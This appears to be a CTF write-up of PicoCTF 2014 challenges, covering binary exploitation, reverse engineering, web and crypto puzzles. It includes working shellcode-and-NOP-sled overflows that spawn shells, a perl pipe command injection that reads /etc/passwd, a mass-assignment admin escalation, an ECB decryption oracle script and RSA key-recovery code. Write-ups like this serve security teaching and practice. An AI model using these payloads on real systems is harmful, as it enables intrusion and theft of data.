We managed to grab all of PicoCTF the flags and we ended with a 6105 point total score! Here are writeups of bitpuzzle, crudecrypt, low_entropy, makeaface, massive_fail, netsino, nevernote, no_overflow, obfuscation and web-interception. Lots of binary exploitation, reverse engineering and even some crypto!
Netsino (120 points)
Daedalus seems to have ties to a shady online gambling boss. Maybe if
you beat him at his own game, you can persuade him to share some useful
info. The server is running on vuln2014.picoctf.com:4547 and the source
code can be found here.
We are presented with an online gambling program. You randomly get some cash and have to gamble against the boss. The following code takes your betsize:
1234567891011
longgetbet(){while(1){printf("You've got $%lu. How much you wanna bet on this next toss?\n",player_cash);longbet=getnum();if(bet<=player_cash){returnbet;}else{puts("Yerr can't bet more than ya got!");}}}
The object is to win all the boss’ money, so he’ll give you the flag. Unfortunately, the program is coded pretty securely. Furthermore, the odds of winning aren’t favorable. Luckily for us, the program makes a mistake when reading in the betsize. If we supply a large enough value, then the number being read will be negative. The program does not check for this. So let’s supply 0xf0000000, which is 4026531840. For the c program, however, it will be a negative number. Thus, the betsize check will pass, because -268435445 is less than your total amount. Next, all we have to do is lose:
By betting on snake-eyes (a very slim chance of that happening), the program will subtract the betsize times 36 from our cash and add that same amount to the boss’ money. However, we supplied a very large negative number for the betsize, meaning that we actually get money and the boss loses money. Rinse & repeat this a couple of times to get the flag:
Fed up with their recent PHP related issues, Daedalus Corp. has switched their website to run on Ruby on Rails (version 3.1.0) instead. Their brand new registration page does not seem like much of an improvement though... [Source].
We’re given the source to a Ruby on Rails website. We need to register as an admin to get the flag. The interesting bit is in db/schema.rb and app/controller/user_controller.rb.
1234567891011121314151617181920212223
ActiveRecord::Schema.define(:version=>20141008175655)docreate_table"users",:force=>truedo|t|t.string"username"t.string"password"t.string"name"t.boolean"is_admin"t.datetime"created_at"t.datetime"updated_at"endendclassUserController<ApplicationControllerdefregisterenddefcreate# User.new creates a new user according to ALL the parameters@new_user=User.new(params[:user])@new_user.saveendend
The application registers the user using ALL supplied parameters. So let’s supply a few more, shall we? Download the registration page and “tweak” it a bit:
By adding the user[is_admin] parameter, the register page thinks we are admin and gives us the flag:
Web Interception (140 points)
We were able to get some code running in a Daedalus browser.
Unfortunately we can't quite get it to send us a cookie for its internal
login page ourselves... But we can make it make requests that we can see,
and it seems to be encrypting using ECB mode. See here for more details
about what we can get. It's running at vuln2014.picoctf.com:65414.
Can you get us the cookie?
Swappage and me solved this one. The program does the following:
123456
deforacle(s):# so, this is simulated. In reality we'd have to run javascript on a target web browser# and capture the traffic. That's pretty hard to do in a way that scales, though, so we# simulate it instead.# This uses ECB mode.returnAESCipher(key).encrypt(pkcs7_pad('GET /'+s.decode('hex')+secret_data))
It takes user-supplied hex-encoded data and then returns an encrypted ciphertext in ECB mode. We need to find secret_data. The trick here is that ECB mode will return identical ciphertexts for identical plaintexts. Furthermore, it is a block-mode encryption. This means that we can create a block, have it encrypted, and check if it is present in the returned ciphertext. If so, our block must have matched part of the secret_data. In terms of blocks, we do the following:
12345
[GET/aaaaaaaaaaa]# block one, padded to 16 bytes[guess_byte+pkcs7_padding]# block two, our guess[bogusbytes+partofsecret_data]# block three, part of secret_data[...secret_data...]# block four, more secret_data[onebyteofsecret_data+padding]# block five, we are interested in the ciphertext of this block!
So if the ciphertext of our block two matches that of block five, we know that our guess was ok! We then prepend another byte to our guessed block. We add more padding to block three so that now, not one but two bytes of the secret_data are pushed onto block five. We repeat our guess for all possible characters and check the ciphertexts of block two and five. If they match, we have a bingo!
Long story short, here’s the script to bruteforce secret_data:
#!/usr/bin/pythonfromsocketimport*importstring,timedefpkcs7_pad(s):l=len(s)needed=16-(l%16)returns+(chr(needed)*needed)defmake_payload(guess):payload=""# pad string to next blockpayload+="a"*11# insert guessed bytes, but first pad themblock=""block+=guessblock=pkcs7_pad(block)# add guessed bytes + paddingpayload+=block# push last bytes into a new ciphertext block. The +1 was empirically determined!payload+="a"*(len(guess)+1)returnpayloadbruteforce=""# think the length of the plaintext is 48 bytes (3 16-byte blocks)whilelen(bruteforce)<48:# we'll brute-force the entire ascii rangeforininrange(0,127)z=chr(i)# display progressprint"[+] trying {}".format(i)# connect to servers=socket(AF_INET,SOCK_STREAM)s.connect(('vuln2014.picoctf.com',65414))# bannertime.sleep(0.05)s.recv(256)# we bruteforce backwards, starting at the last bytepayload=make_payload(z+bruteforce)# send payloads.send(payload.encode('hex'))ciphertext=s.recv(1024)# split ciphertext into 32 bytes (which are 16 bytes hex-encoded).# we need to look for a duplicate block. if we find a duplicate,# it means our guessed bytes match the end of the string.blocks=[ciphertext[i:i+32]foriinrange(0,len(ciphertext),32)]# check if we have the same encoded block as the guess# the guessed block is the second returned block, due to the # way the payload is built up. ifblocks[1]inblocks[2:]:print"match: {}".format(blocks[1])bruteforce=z+bruteforceprint"[+] got {} so far".format(bruteforce)s.close()
The flag is congrats_on_your_first_ecb_ecryption\r\n.
No Overflow (140 points)
This program tries to prevent buffer overflows by first asking for the input length.
123456
bas@tritonal:~/tmp/picoctf$ ./no_overflow
How long is your name?
10
What is your name?
BBBBBBBBBBBBBBBBBBBBBBBBBB
Hello, BBBBBBBBBBW
It disregards the rest of the ouput. However, the program uses scanf. If we supply -1 as the length, we can bypass the overflow check:
12345
bas@tritonal:~/tmp/picoctf$ (echo -1; python -c 'print "A"*300')| ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...snip...
Segmentation fault
From here, it is easy to control EIP:
12345678910
bas@tritonal:~/tmp/picoctf$ (echo -1; python -c 'print "A"*268+"BBBB"';echo)| ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAA...snip...
Segmentation fault (core dumped)bas@tritonal:~/tmp/picoctf$ gdb no_overflow core
...snip...
Core was generated by `./no_overflow'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
Quickly checking on the remote server if there is any protection on the binary:
123456789101112131415161718
pico1139@shell:/home/no_overflow$ readelf -l no_overflow
Elf file type is EXEC (Executable file)Entry point 0x8048430
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x0080c 0x0080c R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x0012c 0x00130 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x0006e0 0x080486e0 0x080486e0 0x0003c 0x0003c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
The stack is executable! Furthermore, ASLR is not enabled. This makes it easy to stick in a shellcode plus a NOP sled and return to an address on the stack:
123456789
pico1139@shell:/home/no_overflow$ (echo -1; python -c 'print "A"*268+"\xd0\xd6\xff\xff"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'; cat)| ./no_overflow
How long is your name?
What is your name?
Hello, AAAAAAAAAAAAAAAAAAAAAA...snip...
id
uid=11066(pico1139)gid=1007(no_overflow)groups=1017(picogroup)cat flag.txt
what_is_your_sign
Obfuscation (150 points)
Tough one. There are some anti-disassembler tricks in here. Upon running the program, it asks for a password. Let’s first try to get a breakpoint somewhere:
12345678910
gdb-peda$ b main
Function "main" not defined.
gdb-peda$ b __libc_start_main
Breakpoint 1 at 0x8048400
gdb-peda$ r
...
Breakpoint 1, 0xf7e2c970 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
gdb-peda$ x/2x $esp0xffffd58c: 0x080484ed 0x08048420
Our entry-point is 0x08048420. Set a breakpoint and continue tracing. We encounter an anti-disassembly trick:
It jumps one byte ahead, in the middle of the instruction, causing the disassembly of the next bytes to be incorrect. Luckily, this won’t stop gdb-peda. Soon after, the program asks for a password:
12345678
=> 0x804846a: call 0x80483c0 <getline@plt>
0x804846f: test eax,eax
...
0x0804846a in ?? ()gdb-peda$ b *0x804846f
Breakpoint 2 at 0x804846f
I entered 012345678 and pressed enter. The program transfers control to the function at 0x8048580 which supposedly checks our password. Set a breakpoint and continue. The programs then takes a single byte from the password and does some checks:
1234567891011121314
0x80485b6: movzx ebp,BYTE PTR [ebx+edx*1]# grab char 0x80485ba: mov eax,ebp
0x80485bc: movsx ecx,al
0x80485bf: add ecx,0x40
0x80485c2: mov edi,ecx
0x80485c4: sar edi,0x1f # no idea what this 0x80485c7: shr edi,0x19 # is supposed to do. 0x80485ca: add ecx,edi
0x80485cc: and ecx,0x7f # check for ASCII? 0x80485cf: sub ecx,edi
0x80485d1: mov BYTE PTR [esp+ecx*1+0xc],0x1
0x80485d6: lea ecx,[ebp-0xa]# subtract 0xa from char 0x80485d9: cmp cl,0x70 # check for below 'z' 0x80485dc: jbe 0x8048600
And then jumps to 0x8048600. This piece is interesting, because it uses a jump-table (like in a switch statement). Depending on the value of (char - 0xa), it jumps to a code region:
0x80485de: xor eax,eax
0x80485e0: mov edx,DWORD PTR [esp+0x8c] 0x80485e7: xor edx,DWORD PTR gs:0x14
0x80485ee: jne 0x8048ab0
0x80485f4: add esp,0x9c
0x80485fa: pop ebx
0x80485fb: pop esi
0x80485fc: pop edi
0x80485fd: pop ebp
0x80485fe: ret
Which basically means “get out of here, your password isn’t correct”. I decided to continue and see what the code did:
It checks if edx is zero. If it is, it checks if some memory location is zero (it was) and then sets edx to 1. It then goes back to the code where a byte is taken from the password. Only this time, it would be the second byte! This means that I accidentally guessed the first char of the password right. The next one was not correct, as I supplied 1 which then jumps to:
Because edx was not set to 0xe, the check fails and the password is incorrect. From here on, I dumped the jumptable and gave each memory location a label using a python script:
From here, it was a matter of following the mov edx, <n> and cmp edx, <n> instructions. For instance, the first correct char of the password is ‘0’. edx is then set to 1. Next, I located the block:
So the next valid char must be 9. I continued this process until I got up to 0x10. There was no cmp edx, 0x10. I verified the chars I had so far. It seems there is some trolling going on. There are two blocks that check for cmp edx, 0x6:
At first, I had selected ‘o’, but it turns out it should have been ‘w’. The string comparison stops at ‘k’:
12345678910
// 0x080488b8:k
0x80488b8: cmp edx,0xc
0x80488bb: sete dl
0x80488be: xor eax,eax
0x80488c0: cmp BYTE PTR [esp+0x37],0x0
0x80488c5: setne al
0x80488c8: and eax,edx
0x80488ca: jmp 0x80485e0 <- terminate, compares eax to 1.
If it is, the string is correct!
0x80488cf: nop
Through a bit of trial-and-error I arrived at the password:
In light of the recent attacks on their machines, Daedalus Corp has
implemented a buffer overflow detection library. Nevernote, a program made
for Daedalus Corps employees to take notes, uses this library. Can you
bypass their protection and read the secret? The binary can be found at
/home/nevernote/ on the shell server.
This program attempts to implement a stack canary in a rather dumb way:
So we can overflow this safe_buffer, but then we also overwrite the canary. Then the canary check will not pass anymore:
12345678910
voidverify_canary(structcanary*c){if(c->canary!=*(c->verify)){printf("Canary was incorrect!\n");__canary_failure(1);}// we're all good; free the canary and returnfree(c->verify);return;}
But since we can overflow the buffer, we control both the canary and the pointer to the canary. This means we can make this check always succeed. Again, no ASLR on the target server allows us to use a static address. Let’s supply the address of safe_buffer (the address of which can be obtained from debugging the binary with gdb). This is automated like so (it echoes a username and the command for adding a note):
Now, the binary aborts because the pointer to the canary has already been freed. Not a problem, we won’t let it come that far. Let’s try to overflow the saved return address:
w00t! We have control over EIP! Since ASLR is off and so is NX, we can just jump a piece of shellcode. Let’s stick in the shellcode (23 bytes execve /bin/sh) and alter the canary to 4*0x90 (which is the start of the NOP sled). Let’s overwrite EIP with 0x804c070 to jump in the middle of our NOP sled. We cat the payload & use another cat to keep shell alive:
voiddecrypt_file(FILE*enc_file,FILE*raw_file,unsignedchar*key){intsize=file_size(enc_file);char*enc_buf=calloc(1,size);fread(enc_buf,1,size,enc_file);if(decrypt_buffer(enc_buf,size,(char*)key,16)!=0){printf("There was an error decrypting the file!\n");return;}char*raw_buf=enc_buf;file_header*header=(file_header*)raw_buf;if(header->magic_number!=MAGIC){printf("Invalid password!\n");return;}if(!check_hostname(header)){printf("[#] Warning: File not encrypted by current machine.\n");}// snipboolcheck_hostname(file_header*header){charsaved_host[HOST_LEN],current_host[HOST_LEN];// unsafe strncpy if we supply a large string for header->hoststrncpy(saved_host,header->host,strlen(header->host));safe_gethostname(current_host,HOST_LEN);returnstrcmp(saved_host,current_host)==0;}
If the attacker can supply an encrypted file header with a large host field, then we can overflow the saved_host array on the stack & overwrite EIP. We modified the source of crudecrypt.c to generate such a file:
We encrypted the payload using this modified crudecrypt.c. Then we decrypted it, observing the crash!
123456789101112131415161718
#0 0x45454545 in ?? ()(gdb)ireax0xffffff00-256ecx0x73115edx0xffffd660-10656>perfectpointertostartofbufferebx0xf7dea000-136404992esp0xffffd6900xffffd690ebp0x444444440x44444444esi0x00edi0x00eip0x454545450x45454545eflags0x10286[PFSFIFRF]cs0x2335ss0x2b43ds0x2b43es0x2b43fs0x00gs0x6399
Looks like ALSR is off! There was no jmp edx in the binary that I could find, so instead, let’s just jump to the buffer:
We transferred the base64 encoded payload to remote machine. We had to adjust the pointer to the shellcode because the address changes on stack due to environment changing. We found this new pointer by simply running gdb.
1234567891011121314151617
pico1139@shell:~$.///////////////crude_crypt decrypt ./sp ./bleh-=-WelcometoCrudeCrypt0.1Beta-=-->Filepassword:Segmentationfault(coredumped)...#0 0xffffd674 in ?? ()(gdb)ireax0xffffff00-256ecx0xb4180edx0xffffd5f2-10766...(gdb)x/s0xffffd5f20xffffd5f2:"Ph//shh/bin\211\343\215T$\b...BBCCCCDDDD"(gdb)x/2i0xffffd5f00xffffd5f0:xor%eax,%eax0xffffd5f2:push%eax
After adjusting the address to 0xffffd5f0 in the exploit, we end up with a shell! A NOP sled would’ve been easy, in this case.
We need to exploit a perl script running on a Webpage. This script takes user input and generates an “avatar”. We immediately figured Shellshock but this turned out to be wrong. The script is included in the webpage source:
We can’t really inject anything into the parameter fields, as the value is concatenated with “head”, “hair”, etc. No calls to system or eval are made, no backticks were used. However, perl being perl, has another trick up it’s sleeve:
If the filename begins with "|", the filename is interpreted as a command to which output is to be piped, and if the filename ends with a "|", the filename is interpreted as a command which pipes output to us.
It returns a few lines of /etc/passwd, albeit mangled a bit. This works, because the “head” parameter is used in the open statement like this:
1
open(HEAD,"head /etc/passwd|");
This makes perl believe that it is a command from which we want to see output! From here, we enumerated the webdirectory and Swappage came up with the brilliant solution:
bas@tritonal:~$ curl "http://makeaface.picoctf.com/index.cgi?Head=%20|cat%20/etc/passwd%26%26ls%20-la|&Hair=1.bmp&Nose=2.bmp&Mouth=2.bmp&Eyes=3.bmp"BM...hex bytes...binnologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
total 228
drwxr-xr-x 2 root root 4096 Oct 27 03:57 .
drwxr-xr-x 3 root root 4096 Oct 27 03:47 ..
-rw-r--r-- 1 root root 34 Oct 27 03:48 SECRET_KEY_2b609783951a8665d8c67d721b52b0f8
-rw-r--r-- 1 root root 452 Oct 27 03:48 css.css
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes1.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes2.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes3.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 eyes4.bmp
-rw-r--r-- 1 root root 8338 Oct 27 03:48 hair0.bmp
Because that file, SECRET_KEY_2b609783951a8665d8c67d721b52b0f8 is world-readable and in the webdirectory, we could just browse to it and grab the flag: why_did_we_stop_using_perl_again?
Low Entropy (110 points)
We are given a server to connect to and a pcap file. We need to decrypt the message found in the pcap file. This message was encoded with a private RSA key.
123
Welcome to the Thyrin drop box. Please send your public key and message.
Public key: c20a1d8b3903e1864d14a4d1f32ce57e4665fc5683960d2f7c0f30d5d247f5fa264fa66b49e801943ab68be3d9a4b393ae22963888bf145f07101616e62e0db2b04644524516c966d8923acf12af049a1d9d6fe3e786763613ee9b8f541291dcf8f0ac9dccc5d47565ef332d466bc80dc5763f1b1139f14d3c0bae072725815f
Message: 49f573321bdb3ad0a78f0e0c7cd4f4aa2a6d5911c90540ddbbaf067c6aabaccde78c8ff70c5a4abe7d4efa19074a5249b2e6525a0168c0c49535bc993efb7e2c221f4f349a014477d4134f03413fd7241303e634499313034dbb4ac96606faed5de01e784f2706e85bf3e814f5f88027b8aeccf18c928821c9d2d830b5050a1e
The server spits out the product of two primes, which gives us a lot of possible public keys. We need to find the factors p and q, the factors of the captured public key. If we have those factors, it’s game over. Luckily, the server has only 30 primes to choose from. That means that there are 30 * 29 / 2 = 435 possible keys. Let’s first grab all these products of p and q and store them:
12345678910111213141516171819202122
#!/usr/bin/pythonfromsocketimport*while(len(products)<30*29):s=socket(AF_INET,SOCK_STREAM)s.connect(('vuln2014.picoctf.com',51818))# banners.recv(1024)pq=s.recv(256)pq=long("0"+pq,16)ifpqandnotpqinproducts:withopen('public_keys','a')asf:f.write(str(pq)+"\n")f.close()products.add(pq)print"Now at {} products...".format(len(products))s.close()
This should grab the 435 unique public keys. Next, we need to find the primes that constitute the captured public key. Basically, we have a list of a1*a2, a1*a3, a2*a3... for 30 unique primes. Let’s assume the captured public key is derived from the values a1 and a2. Given a large list of other values ax*ay and some math, we can say that there are values that satisfy:
(a1*a2 / (a1*a3) * a2*a3 == a2*a2
Therefore, we can extract the squared values of each prime! I skipped using math.sqrt() and python float values, as these do not have the required precision given these extremely large numbers. Let’s generate all these squared values from each key we got from the server. Then, divide the square of the public key by each entry. If the result is also in the list of squared primes, then we have a match!
1234567891011121314151617181920212223
#!/usr/bin/pythonwithopen('public_keys')asf:data=f.readlines()f.close()alice_key=0xc20a1d8b3903e1864d14a4d1f32ce57e4665fc5683960d2f7c0f30d5d247f5fa264fa66b49e801943ab68be3d9a4b393ae22963888bf145f07101616e62e0db2b04644524516c966d8923acf12af049a1d9d6fe3e786763613ee9b8f541291dcf8f0ac9dccc5d47565ef332d466bc80dc5763f1b1139f14d3c0bae072725815fpublic_keys=set([])forlineindata:iflen(line.strip()):public_keys.add(int(line.strip()))squares=set([])# sets are fast :)forkey_ainpublic_keys:forkey_binpublic_keys-set([key_a]):squares.add((alice_key*key_a)/key_b)forkinsquares:l=alice_key**2/kiflinsquares:ifalice_key**2==l*k:# double-check to prevent rounding errorsprint"[!] Found k={}\nl={}\n".format(k,l)
It should return two values for k and l (because k could be l and vice-versa):
12
[!] Found k=145636797632612493383437910621935492258871220486831431433846443881029756884131014317442568196356163696603884037401628766885574744524908524694664229202327755975190209777333222305357215356711196812874146485202755534755335009504417851499146840024376285929565498060947342673068738915934424594894642178132393803401
l=127485391417645634265899520100348459764415230949848696681516013917289651283750339673156991958225605417057264644648275442237083380079695308054967054357615028357457990698626856902554884944611614631356998904650004684028810140797701724207511157802310732003918967758266191880635014381653257954124503965122532941561
Now, all we have to do is take the square root of these values to get p and q! Luckily, Newton’s algorithm works perfectly for integers. The server gave us the public exponent (216+1) so we are all set for decrypting the message:
#!/usr/bin/pythondefisqrt(n):x=ny=(x+1)//2whiley<x:x=yy=(x+n//x)//2returnxdefegcd(a,b):ifa==0:return(b,0,1)else:g,y,x=egcd(b%a,a)return(g,x-(b//a)*y,y)defmodinv(a,m):g,x,y=egcd(a,m)ifg!=1:raiseException('modular inverse does not exist')else:returnx%me=2**16+1k=127485391417645634265899520100348459764415230949848696681516013917289651283750339673156991958225605417057264644648275442237083380079695308054967054357615028357457990698626856902554884944611614631356998904650004684028810140797701724207511157802310732003918967758266191880635014381653257954124503965122532941561l=145636797632612493383437910621935492258871220486831431433846443881029756884131014317442568196356163696603884037401628766885574744524908524694664229202327755975190209777333222305357215356711196812874146485202755534755335009504417851499146840024376285929565498060947342673068738915934424594894642178132393803401p=isqrt(k)q=isqrt(l)c=0x49f573321bdb3ad0a78f0e0c7cd4f4aa2a6d5911c90540ddbbaf067c6aabaccde78c8ff70c5a4abe7d4efa19074a5249b2e6525a0168c0c49535bc993efb7e2c221f4f349a014477d4134f03413fd7241303e634499313034dbb4ac96606faed5de01e784f2706e85bf3e814f5f88027b8aeccf18c928821c9d2d830b5050a1en=p*qtot=(p-1)*(q-1)d=modinv(e,tot)m=pow(c,d,n)printhex(m)
This gives us the decoded hexadecimal representation of the message. Running it through xxd:
12345
bas@tritonal:~/tmp/picoctf/low_entropy$ python solve.py
0x476f6f64207468696e67206e6f206f6e652063616e207265616420746869732120492764206861746520666f72207468656d20746f206b6e6f7720746861742074686520666c6167206973206d616b655f737572655f796f75725f726e675f67656e6572617465735f6c6f7473615f7072696d65732eL
bas@tritonal:~/tmp/picoctf/low_entropy$ xxd -r -p
476f6f64207468696e67206e6f206f6e652063616e207265616420746869732120492764206861746520666f72207468656d20746f206b6e6f7720746861742074686520666c6167206973206d616b655f737572655f796f75725f726e675f67656e6572617465735f6c6f7473615f7072696d65732e
Good thing no one can read this! I'd hate for them to know that the flag is make_sure_your_rng_generates_lotsa_primes.
The flag is make_sure_your_rng_generates_lotsa_primes.
Bit Puzzle (130 points)
The last bastion of PicoCTF! bitpuzzle is a 32-bit ELF file. It asks for a string and first checks if the string is 32 bytes long. Then, it chops it up into four-byte chunks and does certain checks on each chunk, effectively constraining the values that are valid. In the end, if the string passes all checks, then that string is the flag. Looking at other flags, this probably limited our characterset to lowercase plus underscore. The first chuck-checking constraint was this:
So for this first constraint, we see that var2 + var3 == 0xc0dcdfce. I stepped through the code and set ebx to the right value, allowing me to see the other checks. I wrote them down:
What else can we infer? Well, since a+b == 0xd5..., 0xd5 - first char of a must be within the ASCII range too. This allowed me to narrow down the values that were possible for the first three chunks of the flag. After messing with python-constraint, I started writing my own script. This first script uses python sets, and used just shy of 6 GB of memory; way too much for my poor laptop. I re-wrote the code to use just integer arithmetic. Below is the final script. It’s super ugly, but it’s late and I’m tired!
#!/usr/bin/pythonimportitertools,stringdefh(i):s=hex(i)[2:]z=""z+=chr(int(s[6:8],16))z+=chr(int(s[4:6],16))z+=chr(int(s[2:4],16))z+=chr(int(s[0:2],16))returnzdefstrToInt(s):i=0forxins:i<<=8i+=ord(x)returniprint"[+] Generating potential strings..."sz=[xforxinmap(''.join,itertools.product("_"+string.lowercase,repeat=4))]print"[+] Converting potential strings to ints..."allowed=[]forsinsz:allowed.append(strToInt(s))print"[+] Brutef... Erm, Constraining..."fors1inallowed:s2=0xd5d3dddc-s1# OK, so s2+s1 = 0xd0... so we know that that x1 = 0xd0-x2# For s1 starting with 61..7a (a-z), 0xd0 - x1 is 0x5b..0x74. # For s1 starting with 41..5a and 30..39, 0xd0 - x1 becomes too large!# Therefor, s2 must start with 0x5B .. 0x74 inclusive. if(s2>=0x5B000000)and(s2<0x75000000):s3=0xc0dcdfce-s2# The same applies for s3if(s3>=0x4c000000)and(s3<0x66000000):# This is another constraintif(((s1*3)&0xffffffff)+((s2*5)&0xffffffff)&0xffffffff)==0x404a7666:s4=0x18030607^s1ifs4inallowed:print"s1: {}".format(hex(s1))print"s2: {}".format(hex(s2))print"s3: {}".format(hex(s3))print"s4: {}".format(hex(s4))fors5inallowed:if((s5*s2)&0xffffffff)==0xb180902b:if((s5*s3)&0xffffffff)==0x3e436b5f:print"s5: {}".format(hex(s5))fors6inallowed:if(s6&0x70000000)==0x70000000:#problem.addConstraint(lambda e, f: ((e * f*2) & 0xffffffff) == 0x5c483831, ("e", "f"))#problem.addConstraint(lambda f: ((f & 0x70000000) & 0xffffffff) == 0x70000000, ("f"))if((s5+((s6*2)&0xffffffff))&0xffffffff)==0x5c483831:print"s6: {}".format(hex(s6))fors7inallowed:if((s6/s7)&0xffffffff)==1:if((s6%s7)&0xffffffff)==0xe000cec:print"s7: {}".format(hex(s7))fors8inallowed:#((e*3+i*2) & 0xffffffff) == 0x3726eb17, ("e", "i"))#((c*4+i*7) & 0xffffffff) == 0x8b0b922d, ("c", "i"))#((d+i*3) & 0xffffffff) == 0xb9cf9c91, ("d", "i"))if(((s5*3)&0xffffffff)+((s8*2)&0xffffffff)&0xffffffff)==0x3726eb17:if(((s3*4)&0xffffffff)+((s8*7)&0xffffffff)&0xffffffff)==0x8b0b922d:if(((s4*1)&0xffffffff)+((s8*3)&0xffffffff)&0xffffffff)==0xb9cf9c91:print"s8: {}".format(hex(s8))print"The flag is: "+h(s1)+h(s2)+h(s3)+h(s4)+h(s5)+h(s6)+h(s7)+h(s8)exit(0)
The flag is The flag is: solving_equations_is_lots_of_fun. That was the last challenge done!
